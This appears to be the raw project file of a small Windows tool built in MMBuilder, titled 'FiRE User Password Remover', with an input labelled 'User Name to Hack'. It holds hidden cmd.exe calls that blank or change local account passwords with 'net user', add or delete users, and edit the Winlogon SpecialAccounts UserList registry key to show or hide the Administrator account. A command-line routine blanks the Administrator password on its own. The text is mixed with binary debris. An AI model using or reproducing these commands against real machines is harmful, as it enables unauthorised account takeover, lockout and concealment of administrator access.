MMBuilder28FiRE User Password RemoverPage 1YM,ImgFXddP? Tahomad'- Rectanglefff? TahomadEditBox$EditBoxN#)EditBox? Administrator"Tahomad~Text?User Name to Hack :"Tahomad K)dTextBTNB?Remove password Arialc4cmd$ = 'Hide,Wait /C net user "' + EditBox$ + '" ""'Cmd.execmd$dCBK_ReturnVal=0Password Removed !hJthe Password is not Removed !!! . Maybe not exist this user in your PC !!!ed Text1?XCoded in MMB By MFiRE Dr.MFiRE@Gmail.Com Fire-MMB.blogfa.com vb-delphi-cpp.blogfa.com"Tahomad f)TextBTN1? Delete User Arialc9cmd$ = 'Hide,Wait /C net user "' + EditBox$ + '" /DELETE'Cmd.execmd$dCBK_ReturnVal=0User Deleted !hFthe User is not Deleted !!! . Maybe not exist this user in your PC !!!ed )TextBTN222?Add User Arialc9cmd$ = 'Hide,Wait /C net user "' + EditBox$ + '" "" /ADD'Cmd.execmd$dCBK_ReturnVal=0 User ADDeD !hHthe User is not ADDeD !!! . Maybe Already exist this user in your PC !!!ed )TextBTN3i?Change password ArialdpassGRPshow = 0 newpassGRPcpassGRPshow = 1hcaaa=IsVisible(newpassGRP)daaa = 1cDcmd$ = 'Hide,Wait /C net user "' + EditBox$ + '" "' + newpass$ + '"'Cmd.execmd$dCBK_ReturnVal=0Password Changed ! newpassGRPhcpassGRPshow = 0CPassword not changed !!! . maybe not exist this user in your PC !!! newpassGRPcpassGRPshow = 0cpassGRPshow = 0eh newpassGRPcpassGRPshow = 1eed7Dadmin1?$Show Administrator User in User-List"Tahoma1 administratoradmindadmin=1****************ccmd$ = 'HIDE /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "Administrator" /t REG_DWORD /d "1"'cmd.execmd$*****************admin3cadmin=00 administratoradminhccmd$ = 'HIDE /c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "Administrator" /f'cmd.execmd$.**********************************************admin3cadmin=10 administratoradmined7Cadmin2? Tahoma1 administratoradmindadmin=1****************ccmd$ = 'HIDE /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "Administrator" /t REG_DWORD /d "1"'cmd.execmd$*****************admin3cadmin=00 administratoradminhccmd$ = 'HIDE /c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "Administrator" /f'cmd.execmd$.**********************************************admin3cadmin=10 administratoradmined 1Cadmin322 WeV? Tahoma1 administratoradmindadmin=1****************ccmd$ = 'HIDE /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "Administrator" /t REG_DWORD /d "1"'cmd.execmd$*****************admin3cadmin=00 administratoradminhccmd$ = 'HIDE /c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "Administrator" /f'cmd.execmd$.**********************************************admin3cadmin=10 administratoradmined newpassGRPk Rectangle1fff? Tahomad k newpassGRP? 3 objects Rectangle1EditBox1Text2 Tahomadnewpass$EditBoxN newpassGRPnEditBox1?password"Tahomad newpassGRPlText2? New Pass :"Tahomad G\Cmd.exeexstCMDd exstCMD = 1c1cmd$ = 'Hide,Wait /C net user "Administrator" ""'Cmd.execmd$ccmd$ = 'HIDE /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "Administrator" /t REG_DWORD /d "1"'cmd.execmd$ h1 administratoradmin#admin1#admin1cpassGRPshow = 0eMaster Page 000YMaster Layer 000Y CBK_CMDLINE?Any comments here Agatha **char$='/RP'"**cpos=POS(char$,CmdLineParam$[1])&************************************** **cmdLen = LEN(CmdLineParam$[1])**If (cpos<>0) Then&**Message("CmdLineParam$[1]","cmdLen")**If (cmdLen > 0) Then**Endd,FUPR1.0.0.0